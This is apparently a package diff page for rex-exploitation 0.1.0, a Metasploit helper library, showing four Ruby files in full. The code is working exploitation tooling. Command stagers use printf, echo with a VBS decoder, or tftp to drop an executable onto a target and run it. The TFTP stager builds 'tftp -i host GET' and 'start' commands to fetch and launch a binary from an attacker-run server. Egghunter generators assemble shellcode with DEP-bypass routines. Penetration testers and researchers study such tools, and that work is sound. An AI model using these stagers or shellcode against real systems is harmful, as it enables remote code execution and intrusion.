rex-exploitation 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (69) hide show
  1. checksums.yaml +7 -0
  2. checksums.yaml.gz.sig +0 -0
  3. data.tar.gz.sig +1 -0
  4. data/.gitignore +9 -0
  5. data/.rspec +2 -0
  6. data/.travis.yml +5 -0
  7. data/CODE_OF_CONDUCT.md +74 -0
  8. data/Gemfile +4 -0
  9. data/README.md +33 -0
  10. data/Rakefile +6 -0
  11. data/bin/console +14 -0
  12. data/bin/setup +8 -0
  13. data/data/exploits/cmdstager/debug_asm +91 -0
  14. data/data/exploits/cmdstager/debug_write +819 -0
  15. data/data/exploits/cmdstager/vbs_b64 +40 -0
  16. data/data/exploits/cmdstager/vbs_b64_adodb +50 -0
  17. data/data/exploits/cmdstager/vbs_b64_noquot +49 -0
  18. data/data/exploits/cmdstager/vbs_b64_sleep +41 -0
  19. data/data/js/detect/ie_addons.js +89 -0
  20. data/data/js/detect/misc_addons.js +157 -0
  21. data/data/js/detect/os.js +831 -0
  22. data/data/js/memory/explib2/lib/explib2.js +426 -0
  23. data/data/js/memory/explib2/payload/drop_exec.js +33 -0
  24. data/data/js/memory/explib2/payload/exec.js +10 -0
  25. data/data/js/memory/heap_spray.js +17 -0
  26. data/data/js/memory/heaplib2.js +192 -0
  27. data/data/js/memory/mstime_malloc.js +31 -0
  28. data/data/js/memory/property_spray.js +38 -0
  29. data/data/js/network/ajax_download.js +18 -0
  30. data/data/js/network/ajax_post.js +18 -0
  31. data/data/js/network/xhr_shim.js +15 -0
  32. data/data/js/utils/base64.js +126 -0
  33. data/data/ropdb/flash.xml +80 -0
  34. data/data/ropdb/hxds.xml +66 -0
  35. data/data/ropdb/java.xml +33 -0
  36. data/data/ropdb/msvcrt.xml +71 -0
  37. data/data/ropdb/reader.xml +132 -0
  38. data/data/ropdb/samba.xml +436 -0
  39. data/data/ropdb/stagefright.xml +225 -0
  40. data/lib/rex/exploitation.rb +7 -0
  41. data/lib/rex/exploitation/cmdstager.rb +11 -0
  42. data/lib/rex/exploitation/cmdstager/base.rb +189 -0
  43. data/lib/rex/exploitation/cmdstager/bourne.rb +118 -0
  44. data/lib/rex/exploitation/cmdstager/certutil.rb +114 -0
  45. data/lib/rex/exploitation/cmdstager/debug_asm.rb +139 -0
  46. data/lib/rex/exploitation/cmdstager/debug_write.rb +133 -0
  47. data/lib/rex/exploitation/cmdstager/echo.rb +166 -0
  48. data/lib/rex/exploitation/cmdstager/printf.rb +121 -0
  49. data/lib/rex/exploitation/cmdstager/tftp.rb +70 -0
  50. data/lib/rex/exploitation/cmdstager/vbs.rb +125 -0
  51. data/lib/rex/exploitation/egghunter.rb +423 -0
  52. data/lib/rex/exploitation/encryptjs.rb +79 -0
  53. data/lib/rex/exploitation/heaplib.js.b64 +331 -0
  54. data/lib/rex/exploitation/heaplib.rb +107 -0
  55. data/lib/rex/exploitation/js.rb +6 -0
  56. data/lib/rex/exploitation/js/detect.rb +70 -0
  57. data/lib/rex/exploitation/js/memory.rb +80 -0
  58. data/lib/rex/exploitation/js/network.rb +83 -0
  59. data/lib/rex/exploitation/js/utils.rb +32 -0
  60. data/lib/rex/exploitation/jsobfu.rb +17 -0
  61. data/lib/rex/exploitation/obfuscatejs.rb +336 -0
  62. data/lib/rex/exploitation/omelet.rb +321 -0
  63. data/lib/rex/exploitation/opcodedb.rb +819 -0
  64. data/lib/rex/exploitation/ropdb.rb +190 -0
  65. data/lib/rex/exploitation/seh.rb +93 -0
  66. data/lib/rex/exploitation/version.rb +5 -0
  67. data/rex-exploitation.gemspec +35 -0
  68. metadata +298 -0
  69. metadata.gz.sig +0 -0
@@ -0,0 +1,121 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+ require 'shellwords'
6
+
7
+ module Rex
8
+ module Exploitation
9
+
10
+ class CmdStagerPrintf < CmdStagerBase
11
+
12
+ def initialize(exe)
13
+ super
14
+
15
+ @var_elf = Rex::Text.rand_text_alpha(5)
16
+ end
17
+
18
+ #
19
+ # Override to ensure opts[:temp] is a correct *nix path
20
+ #
21
+ def generate(opts = {})
22
+ opts[:temp] = opts[:temp] || '/tmp/'
23
+ opts[:temp].gsub!(/\\/, '/')
24
+ opts[:temp] = opts[:temp].shellescape
25
+ opts[:temp] << '/' if opts[:temp][-1,1] != '/'
26
+ super
27
+ end
28
+
29
+ #
30
+ # Override to set the extra byte count
31
+ #
32
+ def generate_cmds(opts)
33
+ if opts[:noquotes]
34
+ @cmd_start = "printf "
35
+ @cmd_end = ">>#{@tempdir}#{@var_elf}"
36
+ @prefix = '\\\\'
37
+ min_part_size = 5
38
+ else
39
+ @cmd_start = "printf '"
40
+ @cmd_end = "'>>#{@tempdir}#{@var_elf}"
41
+ @prefix = '\\'
42
+ min_part_size = 4
43
+ end
44
+ xtra_len = @cmd_start.length + @cmd_end.length
45
+ opts.merge!({ :extra => xtra_len })
46
+
47
+ if (opts[:linemax] - opts[:extra]) < min_part_size
48
+ raise RuntimeError, "Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available"
49
+ end
50
+
51
+ super
52
+ end
53
+
54
+ #
55
+ # Encode into a "\12\345" octal format that printf understands
56
+ #
57
+ def encode_payload(opts)
58
+ return Rex::Text.to_octal(@exe, @prefix)
59
+ end
60
+
61
+ #
62
+ # Override it to ensure that the octal representation of a byte isn't cut
63
+ #
64
+ def slice_up_payload(encoded, opts)
65
+ encoded_dup = encoded.dup
66
+
67
+ parts = []
68
+ xtra_len = opts[:extra]
69
+ xtra_len ||= 0
70
+ while (encoded_dup.length > 0)
71
+ temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
72
+
73
+ # remove the last octal escape if it is imcomplete
74
+ if encoded_dup.length > temp.length and encoded_dup[temp.length, @prefix.length] != @prefix
75
+ pos = temp.rindex('\\')
76
+ pos -= 1 if temp[pos-1] == '\\'
77
+ temp.slice!(pos..temp.length-1)
78
+ end
79
+
80
+ parts << temp
81
+ encoded_dup.slice!(0, temp.length)
82
+ end
83
+
84
+ parts
85
+ end
86
+
87
+ #
88
+ # Combine the parts of the encoded file with the stuff that goes
89
+ # before and after it.
90
+ #
91
+ def parts_to_commands(parts, opts)
92
+ parts.map do |p|
93
+ @cmd_start + p + @cmd_end
94
+ end
95
+ end
96
+
97
+ #
98
+ # Since the binary has been already dropped to disk, just execute and
99
+ # delete it
100
+ #
101
+ def generate_cmds_decoder(opts)
102
+ cmds = []
103
+ # Make it all happen
104
+ cmds << "chmod +x #{@tempdir}#{@var_elf}"
105
+ cmds << "#{@tempdir}#{@var_elf}"
106
+
107
+ # Clean up after unless requested not to..
108
+ unless opts[:nodelete]
109
+ cmds << "rm -f #{@tempdir}#{@var_elf}"
110
+ end
111
+
112
+ return cmds
113
+ end
114
+
115
+ def cmd_concat_operator
116
+ " ; "
117
+ end
118
+
119
+ end
120
+ end
121
+ end
@@ -0,0 +1,70 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ ###
10
+ #
11
+ # This class provides the ability to create a sequence of commands from an executable.
12
+ # When this sequence is ran via command injection or a shell, the resulting exe will
13
+ # be written to disk and executed.
14
+ #
15
+ # This particular version uses tftp.exe to download a binary from the specified
16
+ # server. The original file is preserve, not encoded at all, and so this version
17
+ # is significantly simpler than other methods.
18
+ #
19
+ # Requires: tftp.exe, outbound udp connectivity to a tftp server
20
+ #
21
+ # Written by Joshua J. Drake
22
+ #
23
+ ###
24
+
25
+ class CmdStagerTFTP < CmdStagerBase
26
+
27
+ def initialize(exe)
28
+ super
29
+ @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
30
+ end
31
+
32
+ def setup(mod)
33
+ self.tftp = Rex::Proto::TFTP::Server.new
34
+ self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe)
35
+ self.tftp.start
36
+ mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
37
+ end
38
+
39
+ def teardown(mod = nil)
40
+ self.tftp.stop
41
+ end
42
+
43
+ #
44
+ # We override compress commands just to stick in a few extra commands
45
+ # last second..
46
+ #
47
+ def compress_commands(cmds, opts)
48
+ # Initiate the download
49
+ cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
50
+
51
+ # Make it all happen
52
+ cmds << "start #{@tempdir + @payload_exe}"
53
+
54
+ # Clean up after unless requested not to..
55
+ if (not opts[:nodelete])
56
+ # XXX: We won't be able to delete the payload while it is running..
57
+ end
58
+
59
+ super
60
+ end
61
+
62
+ # NOTE: We don't use a concatenation operator here since we only have a couple commands.
63
+ # There really isn't any need to combine them. Also, the ms01_026 exploit depends on
64
+ # the start command being issued separately so that it can ignore it :)
65
+ attr_reader :exe
66
+ attr_reader :payload_exe
67
+ attr_accessor :tftp
68
+ end
69
+ end
70
+ end
@@ -0,0 +1,125 @@
1
+ # -*- coding: binary -*-
2
+
3
+ require 'rex/text'
4
+ require 'rex/arch'
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ ###
10
+ #
11
+ # This class provides the ability to create a sequence of commands from an executable.
12
+ # When this sequence is ran via command injection or a shell, the resulting exe will
13
+ # be written to disk and executed.
14
+ #
15
+ # This particular version uses Windows Scripting (VBS) to base64 decode a file,
16
+ # created via echo >>, and decode it to the final binary.
17
+ #
18
+ # Requires: Windows Scripting
19
+ # Known Issue: errors with non-ascii-native systems
20
+ #
21
+ # Written by bannedit
22
+ #
23
+ ###
24
+
25
+ class CmdStagerVBS < CmdStagerBase
26
+
27
+ def initialize(exe)
28
+ super
29
+
30
+ @var_decoder = Rex::Text.rand_text_alpha(5)
31
+ @var_encoded = Rex::Text.rand_text_alpha(5)
32
+ @var_decoded = Rex::Text.rand_text_alpha(5)
33
+ @decoder = nil # filled in later
34
+ end
35
+
36
+
37
+ #
38
+ # Override just to set the extra byte count
39
+ #
40
+ def generate_cmds(opts)
41
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
42
+ @cmd_start = "echo "
43
+ @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
44
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
45
+ opts.merge!({ :extra => xtra_len })
46
+ super
47
+ end
48
+
49
+
50
+ #
51
+ # Simple base64...
52
+ #
53
+ def encode_payload(opts)
54
+ Rex::Text.encode_base64(@exe)
55
+ end
56
+
57
+
58
+ #
59
+ # Combine the parts of the encoded file with the stuff that goes
60
+ # before / after it.
61
+ #
62
+ def parts_to_commands(parts, opts)
63
+
64
+ cmds = []
65
+ parts.each do |p|
66
+ cmd = ''
67
+ cmd << @cmd_start
68
+ cmd << p
69
+ cmd << @cmd_end
70
+ cmds << cmd
71
+ end
72
+
73
+ cmds
74
+ end
75
+
76
+
77
+ #
78
+ # Generate the commands that will decode the file we just created
79
+ #
80
+ def generate_cmds_decoder(opts)
81
+
82
+ # Allow decoder stub override (needs to input base64 and output bin)
83
+ @decoder = opts[:decoder] if (opts[:decoder])
84
+
85
+ # Read the decoder data file
86
+ f = File.new(@decoder, "rb")
87
+ decoder = f.read(f.stat.size)
88
+ f.close
89
+
90
+ # Replace variables
91
+ decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
92
+ decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
93
+ decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
94
+
95
+ # Split it apart by the lines
96
+ decoder.split("\n")
97
+ end
98
+
99
+
100
+ #
101
+ # We override compress commands just to stick in a few extra commands
102
+ # last second..
103
+ #
104
+ def compress_commands(cmds, opts)
105
+ # Make it all happen
106
+ cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
107
+
108
+ # Clean up after unless requested not to..
109
+ if (not opts[:nodelete])
110
+ cmds << "del #{@tempdir}#{@var_decoder}.vbs"
111
+ cmds << "del #{@tempdir}#{@var_encoded}.b64"
112
+ # NOTE: We won't be able to delete the exe while it's in use.
113
+ end
114
+
115
+ super
116
+ end
117
+
118
+ # Windows uses & to concat strings
119
+ def cmd_concat_operator
120
+ " & "
121
+ end
122
+
123
+ end
124
+ end
125
+ end
@@ -0,0 +1,423 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/text'
3
+ require 'rex/arch'
4
+ require 'metasm'
5
+
6
+ module Rex
7
+ module Exploitation
8
+
9
+ ###
10
+ #
11
+ # This class provides an interface to generating egghunters. Egghunters are
12
+ # used to search process address space for a known byte sequence. This is
13
+ # useful in situations where there is limited room for a payload when an
14
+ # overflow occurs, but it's possible to stick a larger payload somewhere else
15
+ # in memory that may not be directly predictable.
16
+ #
17
+ # Original implementation by skape
18
+ # (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
19
+ #
20
+ # Checksum checking implemented by dijital1/corelanc0d3r
21
+ # Checksum code merged to Egghunter by jduck
22
+ # Conversion to use Metasm by jduck
23
+ # Startreg code added by corelanc0d3r
24
+ # Added routine to disable DEP for discovered egg (for win, added by corelanc0d3r)
25
+ # Added support for searchforward option (true or false)
26
+ #
27
+ ###
28
+ class Egghunter
29
+
30
+ ###
31
+ #
32
+ # Windows-based egghunters
33
+ #
34
+ ###
35
+ module Windows
36
+ Alias = "win"
37
+
38
+ module X86
39
+ Alias = ARCH_X86
40
+
41
+ #
42
+ # The egg hunter stub for win/x86.
43
+ #
44
+ def hunter_stub(payload, badchars = '', opts = {})
45
+
46
+ startreg = opts[:startreg]
47
+ searchforward = opts[:searchforward]
48
+
49
+ raise RuntimeError, "Invalid egg string! Need 4 bytes." if opts[:eggtag].length != 4
50
+ marker = "0x%x" % opts[:eggtag].unpack('V').first
51
+
52
+ checksum = checksum_stub(payload, badchars, opts)
53
+
54
+ startstub = ''
55
+ if startreg
56
+ if startreg.downcase != 'edx'
57
+ startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
58
+ else
59
+ startstub = "\n\tjmp next_addr"
60
+ end
61
+ end
62
+ startstub << "\n\t" if startstub.length > 0
63
+
64
+ # search forward or backward ?
65
+ flippage = "\n\tor dx,0xfff"
66
+ edxdirection = "\n\tinc edx"
67
+
68
+ if searchforward.to_s.downcase == 'false'
69
+ # go backwards
70
+ flippage = "\n\txor dl,dl"
71
+ edxdirection = "\n\tdec edx"
72
+ end
73
+
74
+ # other vars
75
+ getpointer = ''
76
+ getsize = ''
77
+ getalloctype = ''
78
+ getpc = ''
79
+ jmppayload = "jmp edi"
80
+
81
+ apireg = opts[:depreg] || 'esi'
82
+ apidest = opts[:depdest]
83
+ depsize = opts[:depsize]
84
+
85
+ freeregs = [ "esi", "ebp", "ecx", "ebx" ]
86
+
87
+ reginfo = {
88
+ "ebx"=>["bx","bl","bh"],
89
+ "ecx"=>["cx","cl","ch"]
90
+ }
91
+
92
+ if opts[:depmethod]
93
+
94
+ if freeregs.index(apireg) == nil
95
+ getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
96
+ apireg = freeregs[0]
97
+ end
98
+ freeregs.delete(apireg)
99
+
100
+ if opts[:depmethod].downcase == "virtualalloc"
101
+ depsize = 0xfff
102
+ end
103
+
104
+ if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
105
+ if apidest
106
+ if freeregs.index(apidest) == nil
107
+ getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
108
+ apidest = freeregs[0]
109
+ end
110
+ else
111
+ getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
112
+ apidest = freeregs[0]
113
+ end
114
+ freeregs.delete(apidest)
115
+ end
116
+
117
+
118
+ sizereg = freeregs[0]
119
+
120
+ if not depsize
121
+ depsize = payload.length * 2
122
+ if opts[:depmethod]
123
+ if opts[:depmethod].downcase == "copy_size"
124
+ depsize = payload.length
125
+ end
126
+ end
127
+ end
128
+
129
+ if depsize <= 127
130
+ getsize << "push 0x%02x\n\t" % depsize
131
+ else
132
+ sizebytes = "%04x" % depsize
133
+ low = sizebytes[2,4]
134
+ high = sizebytes[0,2]
135
+ if sizereg == "ecx" || sizereg == "ebx"
136
+ regvars = reginfo[sizereg]
137
+ getsize << "xor #{sizereg},#{sizereg}\n\t"
138
+ if low != "00" and high != "00"
139
+ getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
140
+ elsif low != "00"
141
+ getsize << "mov #{regvars[1]},0x%s\n\t" % low
142
+ elsif high != "00"
143
+ getsize << "mov #{regvars[2]},0x%s\n\t" % high
144
+ end
145
+ end
146
+ if sizereg == "ebp"
147
+ if low != "00" and high != "00"
148
+ getsize << "xor #{sizereg},#{sizereg}\n\t"
149
+ getsize << "mov bp,0x%s\n\t" % sizebytes
150
+ end
151
+ end
152
+ # last resort
153
+ if getsize == ''
154
+ blockcnt = 0
155
+ vpsize = 0
156
+ blocksize = depsize
157
+ while blocksize > 127
158
+ blocksize = blocksize / 2
159
+ blockcnt += 1
160
+ end
161
+ getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
162
+ vpsize = blocksize
163
+ depblockcnt = 0
164
+ while depblockcnt < blockcnt
165
+ getsize << "add #{sizereg},#{sizereg}\n\t"
166
+ vpsize += vpsize
167
+ depblockcnt += 1
168
+ end
169
+ delta = depsize - vpsize
170
+ if delta > 0
171
+ getsize << "add #{sizereg},0x%02x\n\t" % delta
172
+ end
173
+ end
174
+ if opts[:depmethod].downcase == "virtualalloc"
175
+ getsize << "inc #{sizereg}\n\t"
176
+ end
177
+
178
+ getsize << "push #{sizereg}\n\t"
179
+
180
+ end
181
+
182
+ getalloctype = getsize
183
+
184
+ case opts[:depmethod].downcase
185
+ when "virtualprotect"
186
+ jmppayload = "push esp\n\tpush 0x40\n\t"
187
+ jmppayload << getsize
188
+ jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
189
+ when "virtualalloc"
190
+ jmppayload = "push 0x40\n\t"
191
+ jmppayload << getalloctype
192
+ jmppayload << "push 0x01\n\t"
193
+ jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
194
+ when "copy"
195
+ jmppayload = getpc
196
+ jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
197
+ when "copy_size"
198
+ jmppayload = getpc
199
+ jmppayload << getsize
200
+ jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
201
+ end
202
+ end
203
+
204
+ jmppayload << "\n" if jmppayload.length > 0
205
+
206
+ assembly = <<EOS
207
+ #{getpointer}
208
+ #{startstub}
209
+ check_readable:
210
+ #{flippage}
211
+ next_addr:
212
+ #{edxdirection}
213
+ push edx
214
+ push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
215
+ pop eax
216
+ int 0x2e
217
+ cmp al,5
218
+ pop edx
219
+ je check_readable
220
+ check_for_tag:
221
+ ; check that the tag matches once
222
+ mov eax,#{marker}
223
+ mov edi,edx
224
+ scasd
225
+ jne next_addr
226
+ ; it must match a second time too
227
+ scasd
228
+ jne next_addr
229
+ ; check the checksum if the feature is enabled
230
+ #{checksum}
231
+ ; jump to the payload
232
+ #{jmppayload}
233
+ EOS
234
+
235
+ assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
236
+
237
+ # return the stub
238
+ assembled_code
239
+ end
240
+
241
+ end
242
+ end
243
+
244
+ ###
245
+ #
246
+ # Linux-based egghunters
247
+ #
248
+ ###
249
+ module Linux
250
+ Alias = "linux"
251
+
252
+ module X86
253
+ Alias = ARCH_X86
254
+
255
+ #
256
+ # The egg hunter stub for linux/x86.
257
+ #
258
+ def hunter_stub(payload, badchars = '', opts = {})
259
+
260
+ startreg = opts[:startreg]
261
+
262
+ raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
263
+ marker = "0x%x" % opts[:eggtag].unpack('V').first
264
+
265
+ checksum = checksum_stub(payload, badchars, opts)
266
+
267
+ startstub = ''
268
+ if startreg
269
+ if startreg.downcase != 'ecx'
270
+ startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
271
+ else
272
+ startstub = "\n\tjmp next_addr"
273
+ end
274
+ end
275
+ startstub << "\n\t" if startstub.length > 0
276
+
277
+ assembly = <<EOS
278
+ cld
279
+ #{startstub}
280
+ check_readable:
281
+ or cx,0xfff
282
+ next_addr:
283
+ inc ecx
284
+ push 0x43 ; use 'sigaction' syscall
285
+ pop eax
286
+ int 0x80
287
+ cmp al,0xf2
288
+ je check_readable
289
+
290
+ check_for_tag:
291
+ ; check that the tag matches once
292
+ mov eax,#{marker}
293
+ mov edi,ecx
294
+ scasd
295
+ jne next_addr
296
+ ; it must match a second time too
297
+ scasd
298
+ jne next_addr
299
+
300
+ ; check the checksum if the feature is enabled
301
+ #{checksum}
302
+
303
+ ; jump to the payload
304
+ jmp edi
305
+ EOS
306
+
307
+ assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
308
+
309
+ # return the stub
310
+ assembled_code
311
+ end
312
+
313
+ end
314
+ end
315
+
316
+ ###
317
+ #
318
+ # Generic interface
319
+ #
320
+ ###
321
+
322
+ #
323
+ # Creates a new egghunter instance and acquires the sub-class that should
324
+ # be used for generating the stub based on the supplied platform and
325
+ # architecture.
326
+ #
327
+ def initialize(platform, arch = nil)
328
+ Egghunter.constants.each { |c|
329
+ mod = self.class.const_get(c)
330
+
331
+ next if ((!mod.kind_of?(::Module)) or
332
+ (!mod.const_defined?('Alias')))
333
+
334
+ if (platform =~ /#{mod.const_get('Alias')}/i)
335
+ self.extend(mod)
336
+
337
+ if (arch and mod)
338
+ mod.constants.each { |a|
339
+ amod = mod.const_get(a)
340
+
341
+ next if ((!amod.kind_of?(::Module)) or
342
+ (!amod.const_defined?('Alias')))
343
+
344
+ if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
345
+ amod = mod.const_get(a)
346
+
347
+ self.extend(amod)
348
+ end
349
+ }
350
+ end
351
+ end
352
+ }
353
+ end
354
+
355
+ #
356
+ # This method generates an egghunter using the derived hunter stub.
357
+ #
358
+ def generate(payload, badchars = '', opts = {})
359
+ # set defaults if options are missing
360
+
361
+ # NOTE: there is no guarantee this won't exist in memory, even when doubled.
362
+ # To address this, use the checksum feature :)
363
+ opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
364
+
365
+ # Generate the hunter_stub portion
366
+ return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
367
+
368
+ # Generate the marker bits to be prefixed to the real payload
369
+ egg = ''
370
+ egg << opts[:eggtag] * 2
371
+ egg << payload
372
+ if opts[:checksum]
373
+ cksum = 0
374
+ payload.each_byte { |b|
375
+ cksum += b
376
+ }
377
+ egg << [cksum & 0xff].pack('C')
378
+ end
379
+
380
+ return [ hunter, egg ]
381
+ end
382
+
383
+ protected
384
+
385
+ #
386
+ # Stub method that is meant to be overridden. It returns the raw stub that
387
+ # should be used as the egghunter.
388
+ #
389
+ def hunter_stub(payload, badchars = '', opts = {})
390
+ end
391
+
392
+ def checksum_stub(payload, badchars = '', opts = {})
393
+ return '' if not opts[:checksum]
394
+
395
+ if payload.length < 0x100
396
+ cmp_reg = "cl"
397
+ elsif payload.length < 0x10000
398
+ cmp_reg = "cx"
399
+ else
400
+ raise RuntimeError, "Payload too big!"
401
+ end
402
+ egg_size = "0x%x" % payload.length
403
+
404
+ checksum = <<EOS
405
+ push ecx
406
+ xor ecx,ecx
407
+ xor eax,eax
408
+ calc_chksum_loop:
409
+ add al,byte [edi+ecx]
410
+ inc ecx
411
+ cmp #{cmp_reg},#{egg_size}
412
+ jnz calc_chksum_loop
413
+ test_chksum:
414
+ cmp al,byte [edi+ecx]
415
+ pop ecx
416
+ jnz next_addr
417
+ EOS
418
+ end
419
+
420
+ end
421
+
422
+ end
423
+ end